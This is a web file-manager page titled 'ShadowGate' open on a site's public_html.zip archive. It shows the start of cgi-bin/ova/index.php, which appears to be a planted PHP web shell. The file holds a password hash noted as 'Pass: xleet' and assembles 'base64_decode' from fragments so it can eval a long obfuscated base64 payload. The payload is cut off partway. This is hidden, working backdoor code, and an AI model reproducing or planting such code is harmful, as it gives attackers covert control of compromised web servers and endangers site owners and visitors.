🗂️ ShadowGate
Path:
home
/
newsgini
/
newsgini.one
/
✏️ Editing: public_html.zip
PK Ig*[kr;� cgi-bin/ova/index.phpnu �[��� <?php $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //Pass: xleet $o= "ba"."se"."\x36\x34\x5F"."de"."c"."ode"; eval($o("CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9SNmxHc2NQQS9WWmFvT3YrQUJ5VkJ1NFB5TFFWWk9pbW5TUVBKeVdFU0UyQ3pPVzFxM1RPdWFsZkx6ZUdyZ2RRczZIYmdSRm9zV3I0aVZkVEhqSkg4M0FKTGJxWWR2emdGcEJjS0hmaTFoaGdsRXlNNWk3bEZQQUZ5cEhuZTluSmVXcmlLc1JoakFwalhBdGhDVGRpcUtRazRzMForcFJIZjJHNVFOZTFWdmhJUHdQWnVRZThuN25iUFJlcmZMMzJja2tPN3RtUXprZWQ5QTZLNjJNOGZrL3VJN3RqL3pzQUNlRTFEdkQvN0FOaFJwa1cxYUJVd244UXYxRER5NUViTTRqNkRDRkJUUVhoK01lcDVmb2ZWeHdHbXlKMU1kTktwSnp1VmVQdGJaQTdVc0xYRW1VYk5vSEJQTm0rc2F2ZTZmaFk0alVUcER4NnZ3Nk9mdm5NZm8za2JTSC92UmMyZ2Q1SE5KR0RvZSt3a1MxS3JmbTk4Z2VuZ3BPR3BnblMrbGFjb3FhRWNQVVpVRklTUDkxb0t1VXZxRE5RKy9aTUc0dThIcEljNlB3bk9PMWIxVG11aFp3S0J1OHFKVDFndU8vS0xOdDV0bURPSTNXaGJFNzNmS0pYL0NpdHY4ZCsvQWV2V1Jnbk92TWdVRHp6aC9xRlRucm9VallKbTRNcEllbGE4VnpROE5kOVNEQ0NZdGNCanYvQ1ZhY3hMMVByS2Q2U2pyQ2cxZTZ5bXRZeWo0STM1aXhkZ1dHNVArU0dvTWdORmN4MkdBQ05BU1pENFVRRExZTFgwQ2dxK2dkY3V1YlVKTk8zWGJPOFRKei92VittUHhGLzIvSGxaMTY0emRhT05EdUVVNEM3U3hMR0tIV01jNEtqd2Vpb2FhQUppTDN4czVKNVJSUjU0dEsxalR6L05TbEhIWmsvWDJ1TUtHdjVXOEVDTmpUWWU5TCt0MzNnYVMyTDVjeWdGS3lWZ2t1TmdxdnNueTdTeG5aYUswbmxUZ1FDb082QzlDVlpwWEpPZXQ5YmJyY3pqWTN4RmMreUcyRWYyZDVEL1dwQjUycmFpZG01ZCtTVFFqbFB4OXRSKzZQS01STXp3aUZVMWJ2VHVVRXBsY1htRTRxREQ1WjJFVlJRWE96WFlyY2VNckI3ZXgyQ2dpVEtvWGlZaDFCREZMQzhCU044WkFicWQzZWtSNkFPT2g4MjdFbkZOVVN3M0lUNVQvUkNJcmNlRWxBWjZRcitvQkk3RmR2aTdrL0ViRmw5Y05HdC94TnFwbkZ4aXBVZWo5QWRCL0ZUM0xJd0JsUjVkRk42WU9XdUVTcW5NL1NYRGFSWGFRK2VUZXRiS0lRWDFQS1QyNWdKOEVxUnQyN08vSi9XbzBUeHE5VjAxSllMQlR4TG5FTDdPZ3ZUbzBHQTBjOHQ5NTQvMEJYZGJEcElJU3N1d0NuaVFIWlVyMDdDQXZad0lhbjF2MndhN3k5N1A1MHRVWitPV0JSUmlMRHp2MHZmVXI2dEVwbmh3SWozSVZLVThqcllWeVU2eCtLYVdaNFZnMVJ6QmRKYkJlVGMvN0JEak4xTEMrMUpBemlpYjFtejc2YU5oQVJDdTFSNk9BblA5UzRDek80S1VaRURTcFNBUnJSR2YyYkEva1IxelJsRE1HQW5oM1I1bDI4T1hwTUNiZUlhTWVJcm91Ujk0bk9rMEhLNm92M1N2WFoxUmRXb1RFNVJydnBzTUl5VklZZVQyZ0dMNWszWC80NFE5SDA4SnFkS2d6eFhwZ1Y5cDZ3Z0lyS2xHS29FZEJpYW9hblZES3FTdkpFeGFoN0xVUW1PRHo1aStIK3JxUEhKbVl5ek83WHVKWFREOElVOVRwd1duVXVuOWl6eFJ2VnJFUDl4TEFCYXdHVFNPWmVQS0NPWUFqTE5BNWNJSkVRaVVsaHF1RU1mUTRheE1TNG14WjhudlcrMUxHeEJiYUg3aEpBcWZLb3N5VHhCR3YwYlFJRVhCMjFhaTE4QkJWUE8zRHJHdHN0Z3N3TS9YWUhxRTFSS0MzNFloQU5hTEhTeUorVHMyWEU4Y2l3WHI0bUNFeTZDcisvdmxpRWdrbVhKdzUzU3lqK3RyMzU4dUdTcFhZZ3h2Y3BhS0c1aFB2U0tvWDdqTnVHaXlzclBZcGEwYU5aTlZXdk10RG9memcwdjhPeEFLL3lXd29WKzFlNENzWnZtZ0hPZ3JhK3VUNEp5SEE3cTR6aWtzaGV0SXQrWmNySnI1UXJGVngrSnp0YnI2RzhOc29CLzRTVFd1cUxVK09OZERiL2ZVVXp6M3puTzNFQXQvUldJMUh5RTRDeDJyT3luMDJMbytqNXFpTjl4R1FDTEpqYXRCd1ZuN2RIZ1l5VjdWaTd1NTRxeXhKZzUyaHRRc0oySmJyTEt0TERXMHF5NWhlV0xSSmJ0YUhMNmlLSGhhOEFRTlJrbHlpRjJiNEV2V1JZOFhEd3Y0TURzLy9naURRTk5RN2trZSthNGYxRkNDTGpZRHFiWC9TWGl5VGdTcnBRTi9HR3ovSjFHZTZFajhDWk5hMDlxQjZvWGNnUzZpTEgzZ1RIYlFPYTdaaXJBbEdRRWFPME9RQmdtc3R3RXp0WmxxaHhwQzVBaXFOQ0JUSmkxbTRqWlRGVHlLcmZGV3RWeXdMaWFmTm5CdU5KUlN1Zy9EMVZiOWtoZmI2MTlFam9LSjNtSGh5Z1lYN2JCbEFUM0pMbzZoeWZER25TUCtnYU80TmZHZVJUU2w2d0NiQy9FMTJzM2lKaGZiN0dMeEdnakQvVEFETFBKZFMzNStHNEtkSGg2cm13WWtxUHd3cDVpYk1HNHBQK1NqZURxQTJTS1N4VXZjV1lNRVRJRmFEOTdhMzVlcm5pMEk4WnF0bi8vZjRicnBJNitOOVdJeG00OXhvR2pxcVRwOVRjdGtsSmhFK0JXb2VkNS9DeWQzakQ3Y1k4VkRiN3UvTlRJbUhicFVjRjV0azdGdGQ1RUpnbW0zRk5zQVhoaHlLTWJtNGhNVTZNMGVSd1JOWTFDcVRIWVBpcGh0cEF4YTBKM016YXdPWWVydGUyRzc4QVppWGY4allnL1pveUtKbjJpMTBDcEdRZUZ1aDNIYjViZmV2NmExVHY1dmQwV1hxQkl3aXBnRjVjSXVpZkZrNU01c0Fpb2ZGbVc0OFJ6WGNJNUZvQkZkT0tRMTJrL1I5SzZobXZaR2RFYmdhcGViOTVIUkF0RUFFQk1KVFh4ZnhBSDhySlVSb0FJYnh4dm1sTXIwUkEzRXhFaisxcVZza1BzN28rTUtDa3pndVkrVENxajd5akwrdXJrQmh4TGc0Z3ZzZ3dVT3FFdy9hcmRqMVlGQ1NFRzV1QVZtRTRvUWxVODl0OXZxL1ZHaHhrSGNNNDBQcjBoM2dWTjNLUFY0cEVTY2dRRlNyVmFPMzI0cWthYWF5elBqVGtKSHZQbEJndndKSEpYeTdsSmZudUxQdFVGZW0ycmFST0Z0d29xZE5zSlFZYzcxN0tVMDEwVFkvN1B6VkU2YWJ5aTBUaHJWTUFxMnVsRFpjdi9wdVg4ZmpHYWZsWmU4VSt3RVRyRUdQVjY4NEFFbVh0aWdjNG9jYVV1WW1YSDI5TlVQQWFUYnpmNHQ0c2RucEI1cEo5YVRnd3VJSDM3MGF5RVpFWnE4UzNRT0pDUVNjRXBLWEJWSVRLL1A5UGhBK1YzdDdkVnNBOUg0ZW1KZy9MRVV2S2V0N3NBNUNLVE1obmVTRDRoZktnQjZTQkFMQTZtcXgwN3lxblU3YlF4QkZFc2FkL0ZDQ0hpdGZ4TW1FK1pQTG1vSzhDZEpLQmNMNnJvaTJkUURhN3lhQXdNMmZpZDFSdFVIUkxxazlyNGRPcGNzNENndFVidGxQazkvOGsrS1NNQ2swekR1ZFM3eGUyRjZnVzRQMTk1UEorT01rTVFJVXUwV0k4WHFxdEtmRjZydU12Wk1DSXhGUURLRG1MR0hiQkprWVdaRWpYZzg5bHl5dUNXckNFZDNQWTBrWmFsUmpoSkdVSzZoSFBDdzVoWnRUZ0lrbGFrNG5GSnFtUWRLK21BekszQkpnMWJXdjFJK1dYc3NBZ0hEZUlmNDhNN3lWM2ZuMlpiNFNXS1VlVGVHdDI1dXRrNjk1ay9Eb2RlWGRJZXVUS1gzcUszK3F6dCtOdG52RUw3NW5xbXlIVDJhWXlqbjFDWnlmc0xxcStkZURqejNCVEIwQWZBTzFXd1dlbVhOUDcwMHFzc2JZU0lwT0NTNWcxQTV0LzdPKy9zZTN3Sm5aQjJ6UG1GMHhJZ05KR3FONHQ4SkhQMEdyT2F2clFSZ0lqSEFnVFFvUkl3cHFyNU9xQlFiMnVHUkJDNXRkTWJ6SEJCMUJVUGJESkZGQkdrVGdLMng0ZXg1QkRLclZVOXRRNjllK2pDcEZ3TFBILzhEREFQSTlUTU1POUMvdGp2ZmtnUTVkVWZqbTVGQTNKWmVjVFRPeWhaQWxZUjExRk9RbjZmVFVLVkxNR2hJOVM5T1Y5RXZVVEdQdFppMDhBM1lJSnJ2Sk4xQVN5RVlQa1c5L1FaNEgvcEIrcTEyY0loYkRUZ1NQZitsTWJtZEZyNG42WWY2Ni9EZzRZVnh4OCtNZDZ0UVg4MzVXODg5MzAzOXpsbzFBZi82aW52Nk8wM0FPakNvRmNQa1NGa1VMcUtoSWl3eEhtRmpBeGNFRnpTK0RYREZ6cTR1L25pUG1hQ0VabGxzc3JMalF5MWkyOHNOWWlNWjlOUndaRGV0cUFPczQxbSs3MEdHd01uZDk4WGx6QTRGWjNFNUFBelNEdkp2ZEZVVHA3UzBabVRxak51VjdDb2ZwdGxuUVlhei9RRTV1SG9vTUZ4Unk4MG85aDIySkEyL3lXazBFeEJ1NGJCTEVxNE01QWVpb1ZTVmNwOVZaMzU2MC9wK1owMVNSSG51SXVwdFFUL1FzRG1wWGNoRm1pK25Obk5xd1FEUjV4ZEFhbVkxWmk3M1BHeW5ZV2d4bkhSLy9DMit3c2FLVDlSVGZtQ0YwVjRWOW50SWR0cTRQVFlSaEw1eFp6TGc0R2RCcjRJK0NTczlkWk9RT1E0Wk5DN2M5REViTWI3WUtFQmNnYXlWeStrbk84VDdBaStYeWhsMmpXV3JCZWQzUEpqcnIwUUtRTlpXQWlsZzRpYUpQRDQ5RGtjQ25POHdZWTFwaWdFSlp2eU00OXczcytoNlFaZE90bmRrWG9wU05SU3kyR2RTSll1NE9QMDNReDV6cjYyelBURFlTd1Nhak0vWHJyejNKUS90ZFo5U2M2aTVzbC81bE9tcW9kZC8vUWZRamtQaFBFVGxvTG5BZ2hhWVJzVTVBWmhwSWZMQXRvQVEyYW91Z0oyaUFmaUxjUk5vNXZrQUJFWlFlT2hiTW9rZjUxN2JtVHI4SXlqNE50UHY5ODlYZ2EvclNBUU81UG1hRE5WU2hsNm1oekNPT0NlcEVUNXRuNE83V3hrTVJPSFJ5WWk3NUtnd29TVGtHQjBkYWNacmVFdzRDVW1CRHRRT0xzRGIyNkt6TWFLTFF4T1ZDMDVleXBWRjJEb0I0UDZ0OW1HK0tlMXB0ZkpoVFFBTGlGU0VRM1F5U2VIbjN5RzNTd0pGUENrUXZjMk1CWVk4MC83TmsvL280dE5pMDlseVVKMHBpSFE4cFhpakQyaDc5R0txUFp6K3pSTEdNa1NhVno0VmdhM0pUTVFkei8rUUQzQmdpQTRGV1VVaFpBSCtBWW9SMlFlTmNTREVvd1ltZEI3aXNDQzRBZENEdUxBR2VQcTRncE9LS1FBYTByV05VOTNkcCtLV25YbCtyM0UvY2h6cFd3bENoRnNVbnhoYnlud2dLN0xLbTYrbjBJeWtyQjdoVWkzb0IxSVdHQytoMnpDS0lndC9JRjljTlo5ZERHY3R5NkQ1OHorTzhmZFZYVGx1dzFNQlhRRUV1K0ZPWGVHSVpwb2Q4YThvVTJaS1pKS1JBV04yZjhLbHRiS2xFZ09ReVliSjFCbkZTd1VwS0pEZDQ2a01FQXdGQ0p6K1d4R3c2WHpybFBaTVkxQmF1NEoyZXFRdDFvUDdNeWVLRXBrWExaK05Eb21Mc1dRRXBIUGJ4RXFEVWF4dGpLRzEzbUhqTjJxZmI3SnZrNXJjQVdEVnViSEpPdmZxR0ErakRrQXIzVWVIZktrUFZLeUpFdi9YM0RibkU4eldHalN5WEdZQkRNdmljNmZwZDhRRWpFTFFhWHA5MzZIQ0tUaVRGNFJnQ3BVNFMrYlVoTGV1N2pLSlM1bWVSTWszNkIyQkdyWXdrKzBGS29ITUFRVVYzRGx4TEVqQ05hTnVYa2g0T3NwWkFwMmk2dVZhd25EZkhOd1FCaHRxSzNJcTdTSFAwQVVPak52Y25zV2FsRkZHYWFxMzJDcit1cjJBY05IcWFIRGRWOGRmUU8weE1oUlZLa1dZREZHbXVOL3Q1TlhkZnVsaVpKR3JFRUpPRHBWR2NnSlh3azlwZ1JRNGZRYXA4UnJBSXdiUC92blFTSmxsa3Y3Y3pFSFJ0cFZHZTM5U2k2K3dEYnQ2UTZVeXhDQ1MrWVFYeGt4cU5leVREdUYyVWt4NndnN0RVUlB2K0pXRWpiZDdMTHhqWlhidGFXOWZOS3FYODU1dkZNeERkMzBIVDFZb2JNRDFiSkVoaVRXem8wcFl6WE9QZTRJMlVNdkVXYzlSK1pSTjlVTXNVVGx3YVEzcUtFU2k3MlR5U3RPOWJ3Vm43ZjFZNldlMC9yeXNzbjVMZzBmZzFZZnV3SGo2cGxHbU1CUS9sTjNZbmVKSkJxSTF0K3JoQTZpZWJIeVNFeThIa3Q2RmZ1N3V5ci9iMXBwVjdQdEZveEt1bGphODREMTJ5U1pwUkhXY2xOd0RjQnZpUVlqNEh1SDBVcG55QngxSXprK1Q1TDVQaHhiSXk1UkxFY1RCcU44NEVHNDNTVklJdG1aeDBZRGZIMHBucnNJcTJGWEVFZzkrb2RRZm9OVDVZNW1WRHFrdTFLa2VWVUV4TlY5L3FHVms3M1JxbVY1UWQzSGt0Z0lNS09obUkwblRBeThycEdTOFk5VXdtRGVBQnBiQ3Z5ZGlCQnBnbFQ4bkZSRk4wMm1sUkVuaXMwdmpoTCtuVUp6V0VQbVpJZE1ZMWJDMkhhUXRqZ1d4d0h2MFRZY0ZVVzNYaVR1RjRiYU8yNmJReVVDd3p6T0NCS3hOQkJneVNqdEcyUVQyMVZrZkZNUG54RFhiUzZjbFMvYVBiV2NZZ2F3RXBzMXY0NzJBb1V3OFpPVVFEaWg5eGdIQjBXWVI4LzZTLzZ0cEQzd1NUUVpreEd2TWNvSkk0YnowOU90c3RqeE4yY1hBTTBUWUpvYzFuSXI5QXFHUTZGZDdhOWQ5bkJmeDBoTVQ0Unc4ZEZYaGY3cUQ4TXVoQlg3eXp1OFFzRDFpWGpiYUdBSU1TNWxFb2tsZFVUSjQ5RUlNeEtHVUIrRFprV08yOVM5WW9rZ0JnYnpiTWxzYWRuM2FoMkxlZ2ZRQXFzM0YyTlM4WkszSXNnaGlCaWtSaFlmV2ZvK0ZMaHlzZjExQzc2Z1lyTWhyMVF3WGtYWnhwdGZDR0RJOUdhZ0U3QzJHVEo4b0M0OEFTQmVENnBOc21mZS9ESTQxZnJkZDZlWlRPVHBBRHZZMGt5cWIyZ05MU3lHTHBPbVRDMWgwcTdWZzl6RGdFdkNzQ0VndnlaZkxBbnhkbmhEMHY0UE8yM3JPcmJQNHcyQlJZU1IzOXFxZS9wR2x4V01lM0N5OEZrWk9tUHo4UzVmb01DUStzVUpkbThNOFZWMGtxVFNYbmR0WXpzQ0xCUTBCdU5IQzcrOTJENEdGeG1kMjIramFJRUNQeUU0QjJVdWQ2ZWdGdlFxQ1d6RjhGcEdDMERvSmtJVlpVcDVUanJEN1ZPZ2MweVZDdGtPbVZScDJnWE9mZ04zc3NNS3hlTzY0RVlPVm91dWd0VjJBY3RQTnlQMmI0b3Z1eDBUMXlnMUY0WlZ2bWo2YjQ4RUxZdVRuRXVNYkJxblQ1eW91eXJvM2k4ZENGWWpDaGFJSDdCRVVBZWlENkNUaE5PY0VLVjJaN2g5eDlsUER0QUNlc1gyRTY5OXV4Mk9LVml0SElnd0Z0aXhsVURrU2JSNUpsc3hUOHF5c05ZdVBqWkkyQm40V0hzOGl3R0lLV3dKdFhqbFZQMVdObWtDWnlkcU9SRXNjeGpvZjI1b0JDZDdFMnBPd213SzZjZGR6QVB4Q3ZCQlgzSWUwS1FDUkd3U1hDY09vWUY3TXJQV29rTndZUlk4Q2prd2VwNzBTUFVQbEdFK1RNd0RjZTlsT2M1d2ZJSmtyRXkzeUoyVkFIWEdoTXlnTzJRcGRjdE5JT1d0TWJ1dVdZc0ZhWDBLbFJjaDBoWnI4WVNkWHg1d05MVFhSbmFpeHVva1JqQ21xdm5BT3dXbGRDellBRGtvKzcydEhvVlJuWHJzN0JkK2dKYWJsNDdhcEplR2g4TG1Vcy9YNWVTWjJDNGRpN05qaDFrWkVlV0NnSStEZlhwY3g0QkZLNEhTYWFiTWFCdyt1ZTVYcjdCQWFtbWhNWXJUcWhXZm0yMXpkN1dCdXpRVlJ3WWs0SUlEY2VlZE9FaXR4QWxwamNISnZDeXJtakJZbFd5SnozRUR4TzJXeEhFckpqVFkzY2VORGpsRFRweEZoSU0vcDVXbDhibGhCMVhLRDg1YXdmTENwQ05LckFOOElDVDYza2hKL1ltVUpQWG5PRXZmazZSYlZGMXdNWW1DSFphdlM2UVA5TEN5M205Z2M3ZnY4cjhhVDIvd3dXcDY4UkpGK3hVbS9KQXJVVm9HdUZ1VzJoaUhndUxRU1d1QlY3ZE9RTEFHOVJBUnVpbUJKMXNxL2dWa1l4V0pFN0JGKytud1MydndNS1QvVVNyTlR6Vjc4cEgrd0xzSVV4aWgwNFJTMDFUTk1tUjBRN3g2RzVXREJiSmRXZEgyY2d1blpCZVFKaDZmK0VEcXdEV3Fqc0JwdWxKczRLeG5QS3I4SkVYK1BYMlVKNjlDWkdCdjhSL1FwcVpHUTY5OXZEeDlaK0tlazMwTmdnYjh3c1krNXBTNUNmcGxscCtsNGRPSEtGQUJORGttdmRGUWNOaDR3eVJ3R0FtUVBZcnBBcHhMTGpHV1Qyei9kQ1Z1dmdDNDg2MDFScjdBY29LZGxidmhXZUpERXVEb0tsay91d2hBcG13c0Zzd0FKVFdDRmkrWjF3TTNhd2F5QlFKR1JBenVJV0JHeFZDbEZEVWtRL1k0OFZ2bHpUN0d6NlNmeFVZZy9DREJSOWZoQ29qdUU3UXFYSG1TeCthTXExdXkyMUhHdlNIaW1HVzlyRVlFZWFwS1RyemUxUDBJTlg1MFdhMHpxVmNHdkxoVnpvS0xKUnl1TWpob3Noc1I4eEp6aWVCN2ZYQ0Z6cDRIVkhFeDhndGtocnYwTXppN0RqSGNoczJNYWM2cHAzclU0TzFVSjhtRUFRWnNRK0l2aHFpTVpPZ2M4L2VhYmZ5RFBmanNIS1gyR2F1R1htVzR3clEyRUtEM3pDeW1MSTNNN3NnUGdFOFE3cTlRRHNjbkRHSkMydzQxR3VHTGdPQWFUbGxTQUV6ZG0rQ1RKUVVGajJaY3lVSFFETEh4TU5KR3FpakxwZzE0dXlvSlR1bk0wRWtES09paGNFTmhhZ0NmMVIyRUZGUEdnWWYyVUVnK2ZCdGx4Y1BlQ3k1anJ3eHlITXJLQXRTcjdUMGNSdUZZLzRVa2Q5WEtPY0wzRzI2QWVmSmI2RnVUVjBOT2pCMmVyZWFZSFU4eXdsL2FmVjRmVWpEWWVqMDB6b3ltZEFXdStETUZaRjlHcHVkUlRXN0dia1hpS1liUkxRU2FtbXFDYU5uei83MXRGNkpMWC9LZW5wRFdTQldQUzlSRElmOVNiZlNGVUs5MTYvUHFxTHp6VWpjeldRSWFHTUtBdTNZUUFoOGprekFCTmNIdlJqR0R5eXN0KytkaDJib3V5ajZYblpyV0FRYmEyb0lxS3JKdDZ0VlBnUllFMEdHNW9wVkpQanhjTWpqVDV2RDJQUlQwSzZhRTErSXlScGFvTy9MNCswZElJamxiUmlvZTgzWEQrc1UyeDQzeVFyZ0N0RlJRTVlJZHNJWTFndm1UQ3lBd2d2alB3dzBHQlNvdHZ3TkkrRjkzR3c5cVp6NzVFWUxvSmg2M3Fsd3A0UE43UkZTQWZEa3hxdmF6MzMwR1hudW5IVzZ1WTR1K1N4ODAvVjNoMUFUb2FZY0tjVnRBV3JHbWI4WmF4dGR1ZTRGS1B6OGtlT0hLY045Vk9IMW9BOHB5T0FkRnJkQzh0cTVheHFXWW1nbHlwNEFtWTVyZ0ZmUWZpUUNRVHlBdUZGczRLUGpHamhmb0pESjRMWnEvaGlmUkJDdERtRGxMNitCRHdBWW9WRTdzdHBOWWRWbWlqVmNYdnJESUpWZVdjMHhNMzIzYklHZUgvSFR4QWt1TEhvajZ0dVR4QWNxNGF3aU9TTE9CWXZnamh5Wkcyd1dxT3FIVW5sSlduRk52aTExejF2dWVXWTVxSnVGalRlSmhnRXBZUGd2M3BITEhGaGxzcEh4MGFwWXZBL2dBOUtMQjNFYktLbzBYUUdXUUNOcWwxdTQxNWtpK3JZNlNTVU0vL1FNY0Z2T21ua2FYek5ZbHozY0tQYjNCVEJneUJJRm9tTVVPcE00ejBFVDFocHE5QmNIR1JRcFdMU0F5OWY3Ukc4eEM4S1lPMGNFQWNTQlQrdExuSjJBR1hMYzZiRnJjdDVYWVd1TU5QZnIwekF0a0J2OU1qTUlwb3R3NVJpNDJFSUFsZ3dJVWZNTnZab2hCcldDYnJFT2lLWUhjbXNPLzRCY1cvbGVHUGNiQmFBelJOYXdvVm1oc3IwWWw0U0RRZUVFMWhhVzVQUVF4Q202SURhcHQxTklZdzkxVDFMNTRIQWViejhNQ0NodmdseWdZVTZZdzVyaXRpc3JkVW9mazRBVEdpdTBDcjVOY2RLdC9SaGtqZjFacXhud3V2TmNiZmcyNmVnbHNYWG9ZTm9LaUNhR0tNUytncGp0WElSRnhNZmJrZjUxRDZNcnJGY2thcllNR2QwTlZKT0dCYUxQWmVFcXVGdThFVjFUSlpCdGwwcUQvT3lOVDl3c3dyckIvalhHMExERU1vc2pBc3lYYld3Njg4VW1WSnFXZGtkcTRMaDhYTUtVUjl2ZFJ4VjJqd2FSeE16VTJvQ01nSlEwSHpKU0FxcUlXUTlsUEJwV2R2c3JrRXYxQlhURU9FYnZSS2tzK0ZiMnFhRHFjSlJMUmp3dEpIZEgyV1MxTWJBUEVRaVh5SWlTd2Z3L0ZWbUFkOUVpYi96bnlPNFJwYmNXYW1UM1ZuM1BlV3FMZ05iTHRNL25QYTRhTk1YdEpJNUhZSEpvM3BiT3YraTRIMXp6cnhIaHk2dmN5SXNFQ0V4SnVPS0dkTm5OS3ZPTmhheVZWYVg0QUVRZjJPRURrZUFQeFdZZlFhRXV1eUZBS3FKRGVBeFVOcG9BSnZEeFF6MnZMUnZhU1VEN1I0SXROWS9YS0VPRFFZbWxlL0hKSnMyMlRWdVoySjVhQnMwOHY3dkNZUHBwbW5uSTZ3ampJVWtrRG5Nd2xxaXo2LzNjS2NwaDhjQjdRTElpTTZpSDBDMHlMRWJ0UHZWblpLT3BQR0xSWllmM1l3ZHMxNGxKNEY4Q1lNcUZXVWFPZHhQaEJ6a3kxZFZpVTZJSEFwRnRNZ0o1U0Y4N1MzdHhvRzY3elI1bkR5elpIWjk1S3BGZEVaVERpa2YwU2RsbW5RUVVkdGJJRllyUitjN1RhUkhKM3h5ajJPNUh3NnJXc0h1SnZKanVIZG16alZqL3pBeWZ0eEhEc0NQRCtnVDhUK3pRUzY5S1R4eDRIWHBmWkdjM3g2SFZjV2Nib1FQaHpabGZhYnpoT2dhN2tWNEtNeGEyUlkwbUFKUzNnR0R0T09DY1pMdzlSM05GZEtZc3JTbWNaZzZodHlkTTBMbi9UYXdEQlBraTVCMFFvMm04Q1BOMHhVVkdjaFlzNU5wc0lGa1JvaXhEbW1SOEkrbXhsbWpvcEtoS1ErdUw3KzQ2TDQ3VlNFa3h4cmM5NTkwOVZNK1R0N1gwTDFOb01kTzlHaHhRSWJHSk9JUFM5ck4wdlF1dS9mdnBYS2Fid3NJTVNkMHd2TFp6dHh4VXg0WXZxTWdkYWh1N2RRenpWbnJmS3VkQkdmRkdZN1ZhNzNBN1dQaERXeTRzSTVkMVdPZFVMOHRxY0o5TWdVWDFNbzJEYit0MlFUajFNbUFZY3Ntd05mSndCOHFRWFZGTlpaQTJhMlpyTHJDUHlRV2hFaTVUNzBSWEk3R25IdTloQUpucVp6MzdZcFBJaXQraUFSZjBYc3dBbU5pNXMwV2sreHBZVWJYaUFCdGdaVkJPb3ZGV3BwcUNtc1hUaVl5US9JU2txZFVYOS9CblFPWUZCZnI2eWw3QjdJTElMZ2E1ZGFtakUycVV0ekg1aXIzeVR1Q09FQUxlOTFDQ3RlOVdXbzlTOGFBR3RXdk1PQnBOM1dScW1ha0ZTSlVvaEc3NVE4T0d1dkpCWHYwakZqdmVTWEZWdENzNHQ2ZnN6WEhUSE9HMjZMcEt1eGNleEQyMlRyMldDQ3RWMEw4NC9HMlliNnZYQWNabEY2T1ZDSTVWd3hRdk9ZU1B0VFMvbi84R3gwV1RiVmlnL1JzWnQwNHdDRE04YXNKbWJnQkNqMHVDbzVTc2lDQUE5WEJXZWlvUHIydjJ4ZjNTYlU2REFvWSswS0NHdmxyTUFiZU8wZUo0UjU2Q0I2K0h3d2tNaHl6VU41eTlycjFCNDZoTXRQS1dJOFRRUm9WVE51eEliQlowZ3Vyd0xucmZheVlGanJvUDg4VjdNTGwrOC95SXBob0pmalZjRkR5K1pKc2Q1K0RCR3daWVE3ZzhNMTZpbTN3YVhKek5DZTdKemtZWUd3SUVqZ0J5cE4wRndaeUlhaSsvYkhJeGNaU0dGM0xiaGFxL1FHc3VSUjBEL1VyOXJjNkF0b2dIZ1NPNkU4aEg3dzVBVzVLUUNDeUpwMHdFZ2FkaDZLUUE3eWZDcGtNUDJUd3BYNVJiZklJb3NzOGNGTVlEU0ZjRUN0bHNlcjhRUUNNMjErSXFMYkRVbkMrRWFhZkRpS2ptVGtzSStPN2ZGOWsxWEx2eWhjT282QnVvUDZjbU9WbkNLTkE2eFlwU3hCbWF1UGJBWGkzdFM3R0FlQWw2cFFnL3JvNXdFUVVpZytrZzVYeU0vaFRISS9ENFhsRlFuSXpXTVFYdHdwbFVVaHlpanMwenpnak85cU9mMGQyM0hkL01GSTlhNEg3Qk9CWUExeGFHMGgzckhDRlFRNlFXRTU4WUdkRWNRVTNWNWlmOHp6bmhtUkwxdXNlMG9nbjV2bFdUc1dFNXBtUElCR0tPL3FZSmNUV0VHcnlSSEhZbGlrVEM3bXBkVUloK3E4OUxXdFJ0UWF0TW5wOUhGQ0ZGbWw2cHpQdk9Xa2RlaFNCN2liL3J6bnU2SlFxbGJteEhzcDFRNFpmWTNwTDVIV09UR2NuMUtCbmFZSlhoL2JRNHNHaWdpQ3ZxTVNyczRCR1ZuWVJFR0R5RHRTdWk4NHJwN1JOWXZRK2dsNXNiVzNoc1NjQzFITGp6NHIvbDFSdGJLQi9ka2NobU1Xd24yc01YVUhybWVhQXcycThmTW9BSmtwZ0pCTjU3Z2NzenRJNkNlVm9HREc5Z1ZyUnVkNVJIY1FweWdaRHAxcEg5RWtsVzlHUTVBVUQ0OVFsajlMTStYZDcrQndSSmwzVDlXR0lZMS80c2JUVDZZdk9nZVpiUkFjdG82WEU5K3hiMXVrbkgyNERQTFFBY0NVRGdLRElFRFpEczFqWGpJNmdWZjk3M055eDJ3bHFWZWgra3QxOXF6Qk1lS2N0andTK0gvQ01zUUVuRWlkZGV3djZjSGRLWTVUVEtnZ1BlV2FuZkg3TTZYdGM5ZENjWXlhQ2VWTzZrK25kMHQxR3I1NTI1bVdJSDlKb0RYMG02WktiejlwTUtSZE1xbndCNUE1QmI4QmJYUTZRZURyMFlKWWNnMGdFN2MzenlpQ2M2Q1lzQkZ4VGRZL3liRUxVZjV2T3VzVWFRNTdCelNLeHhHaWJGMENDckVKQTRrMDc0WXJqTUc2d0dscWg3Q0dQV3R4TDliTUZZenpPdVRjM3RtOUNzeThFUjJhOGFuUm1KMjNZR3VoK3ljZHBZUzNTMVFoUlM5WjJSVm9FUXJFR1JxV2JZKy9uSGc4V3g4emhWOWxZdndJZ0VSUVc3M3JKQUEwQWxHQjF3MFhXKzJ0ZEdWS0NwWDR3VlhRcU52WlA4dlVwQ3FoZjhzQ2VBK0o1YW1OMkNWZXFrTDFjU3pDbEFmL1Q1RHE3MUl6a1ExMmFtdEFQNk51bjh3cDA1cVhFSUg2QisyeWYzTDZqd3YxNmtYczdCci9rTXVYRjF3eGhBRUdhMGhHTk05ZzlOWmJpQ1NjVVpScVF2cFI3dFlvTjI0Qm03dlZtemdtWWtMR3Z2Tmx2QkQwMjRySWxxZ0RRNUZ5T1FmQVYxZGN3OVpWazFPM